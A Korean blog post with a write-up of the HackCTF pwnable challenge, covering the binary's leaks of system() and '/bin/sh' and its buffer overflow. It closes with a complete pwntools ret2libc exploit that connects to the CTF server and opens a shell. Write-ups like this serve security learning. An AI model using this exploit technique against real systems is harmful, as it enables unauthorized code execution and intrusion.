Execute
먼저 문제로 주어진 파일을 실행시키면 아래와 같다.
뭔가 옵션들이 주어지고 binary boss를 죽여야하는? 형태의 문제 같이 생겼다. 각각의 option들이 정확하게 어떤 역할을 하는지는 이후 IDA를 통해 알아보고 프로그램 형태만 보고 넘어가자
Analyze
보호기법에는 NXbit만 걸려있어서 메모리에 실행권한이 없을 것이다. 프로그램에서 1번 option을 선택하면 보여주기도 한다.
ASLR도 걸려있는 것을 추가로 확인 할 수 있다.
Main
- Line 11 : dlopen을 통해 /lib/i386-linux-gnu/libc.so.6 을 로드하고 handle에 so파일의 handle을 반환한다.
- Line 12 : dlsym을 통해 앞서 반환된 so파일의 handle을 인자로주어 system함수의 주소값을 찾아 반환하여 v6에 저장한다.
- Line 14 : memcmp함수로 system함수가 시작되는지점에서 /bin/sh를 찾을 때까지 for문 수행
- Line 29~40 : v4에 입력받은 값을 기준으로 분기하며 case1이다. 앞서 dlopen을 통해 반환 받은 handle의 address를 출력해주며 system함수의 clear도 수행한다.
- Line41~43 : get_Money 함수 호출
- Line 44~54 : gold가 1999보다 클 경우 1999를 빼주고 system함수의 address가 들어있는 v6를 leak해준다.
- Line 56~65 : gold가 2999보다 클 경우 앞서 for문에서 찾은 /bin/sh의 address가 저장된 s1을 leak
- Line 66~69 : buf에 0x400만큼 입력을 받음 buf의 크기는 0x80이므로 buffer overflow 발생 가능
- Line 70~73 : 프로그램 종료
main에서 생전 처음보는 함수인 memcpy함수와 dlopen,dlsym,dlclose가 보이는데 해당 함수들의 원형과 return값들은 아래와 같다.
void *dlopen(const char *filename, int flag)
매개변수
filename : 로드할 동적 라이브러리 파일명
return 값
NULL : so 파일이 존재하지 않음
NULL 아님: void* 형태의 so 파일에 대한 handle 반환
void *dlsym(void *handle, const char *symbol)
매개변수
Handle : dlopen에서 반환받은 shared object handle
Symbol : shared object에서 찾고자 하는 함수명 또는 변수명
return값
NULL : symbol이 존재하지 않음
NULL 아님 : 해당 symbol과 연관된 주소값이 반환
int memcmp(const void *base1, const void *base2, size_t n)
매개변수
Base1 : 비교대상 데이터가 있는 버퍼
Base2 : 비교대상 데이터가 있는 버퍼
n : 비교할 바이트 수
return값
NULL : 같은 경우
양수 : base1이 클 때
음수 : base2가 클 때
Main을 확인하면서 핵심적인 함수와 문자열의 주소를 leak하는 것을 확인 하였고 case5에서 buffer overflow를 트리거 할 수 있는 것을 확인 하였다.
Get_money
해당함수를 보면 gold를 올릴 수 있는데 option4의 경우 메뉴에서 출력되지 않으나 해당 옵션을 선택할경우 rand함수를 통해 매우 큰값을 gold에 넣어주는 것을 확인 할 수 있다.
solve
따라서 현재 system의 address를 leak하는 것을 발견 하였고 /bin/sh역시 leak되는 것을 확인 하였다. 따라서 해당 값들을 받아와서 RTL을 수행하면 shell을 얻을 수 있을 것이다. 공격시나리오는 아래와 같다
먼저 option2에서 option4를 입력해 gold를 매우 큰 값으로 만든다.
Option 3을 선택해 system의 address를 leak한다.
Option 4를 선택해 /bin/sh의 address를 leak한다.
Leak된 값들을 바탕으로 payload를 구성하여 exploit한다.
해당 공격에서 필요한 dummy를 계산하면
buf변수가 ebp-0x8C에 위치함을 확인 할 수 있다.Payload의 정확한 구성은 아래와 같을 것이다.
dummy(0x8Cbyte)+sfp(4byte)+system_address+dummy(4byte)+/bin/sh_address
중간에 dummy 4byte는 ret위치인데 이후 동작은 필요하지 않으므로 아무 값을 넣어도 상관없다.
여기까지의 결론으로 exploit을 작성해보자
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3010)
#gold up
p.recvuntil(">>> ")
p.sendline("2")
p.recvuntil(">>> ")
p.sendline("4")
#system leak
p.recvuntil(">>> ")
p.sendline("3")
p.recvuntil("Armor : 0x")
system_addr = int(p.recv(8), 16)
log.info("System Armor = " + hex(system_addr))
#/bin/sh leak
p.recvuntil(">>> ")
p.sendline("4")
p.recvuntil("Sword : 0x")
binsh_addr = int(p.recv(8), 16)
log.info("Shell Sword = " + hex(binsh_addr))
#attack
p.recvuntil(">>> ")
p.sendline("5")
p.recvuntil(" > ")
payload=b'a'*0x8c+b"s"*4+p32(system_addr)+b"a"*4+p32(binsh_addr)
p.sendline(payload)
p.interactive()
성공적으로 shell을 얻은 것을 확인 할 수 있다. Exploit을 다시 수행해도 address들이 안바뀌는것으로 보아 굳이 leak해서 받아오지 말고 코드에 때려박아도 성공했을 듯….
'Wargmae > HackCTF' 카테고리의 다른 글
[Hack CTF – poet] (0) | 2021.01.15 |
---|---|
[Hack CTF - g++pwn] (1) | 2021.01.11 |
[Hack CTF - yes or no] (0) | 2021.01.09 |
[Hack CTF - BOF_PIE] (0) | 2021.01.09 |
[Hack CTF – Simple_Overflow_ver_2] (0) | 2021.01.06 |